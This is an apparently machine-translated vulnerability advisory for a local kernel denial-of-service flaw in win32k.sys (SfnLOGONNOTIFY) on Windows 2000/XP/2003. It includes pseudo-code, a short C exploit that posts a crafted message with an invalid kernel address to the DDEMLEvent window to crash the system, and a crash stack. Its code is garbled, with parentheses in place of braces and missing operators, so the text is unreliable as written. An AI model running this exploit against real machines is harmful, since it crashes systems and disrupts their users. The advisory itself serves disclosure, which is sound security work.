Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability

[th_decoder]

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service 
Vulnerability 



Effect : Microsoft Windows 2000/XP/2003 full patch 



 

Author:MJ0011

Published: 2010-04-22





Vulnerability Details: 



Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this 
function in dealing with some 

Message, will call gapfnScSendMessage this function table function to process, 
which under the deal 2000/xp/2003 

0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function 
again when the wParam == 4/13/12 

When the data directly from the lParam inside out, despite the use of the 
function of the SEH, but as long as the kernel passes the wrong address, will 
still lead to 

BSOD 



Pseudo-code: 



if (wParam == 4 | | wParam == 13 | | wParam == 12) 

( 

    v18 = * (_DWORD *) lParam; 

    v19 = * (_DWORD *) (lParam 4); 

    v20 = * (_DWORD *) (lParam 8); 

    v21 = * (_DWORD *) (lParam 12); 



Exploit code: 



# Include "stdafx.h" 

# Include "windows.h" 

int main (int argc, char * argv []) 

( 

printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy 
mj0011\nth_deco...@126.com\npressenter");



getchar();



HWND hwnd = FindWindow ("DDEMLEvent", NULL); 



if (hwnd == 0) 

( 

   printf ("cannot find DDEMLEvent Window! \ n"); 

   return 0; 

) 



PostMessage (hwnd, 0x4c, 0x4, 0x80000000); 





return 0; 

) 



Common crash stack: 



kd> kc 



win32k! SfnLOGONNOTIFY 

win32k! xxxDefWindowProc 

win32k! xxxEventWndProc 

win32k! xxxDispatchMessage 

win32k! NtUserDispatchMessage 

.... 



Windows 7/Vista no such problem 



Thanks: 



Thanks to my colleagues LYL to help me discovered this vulnerability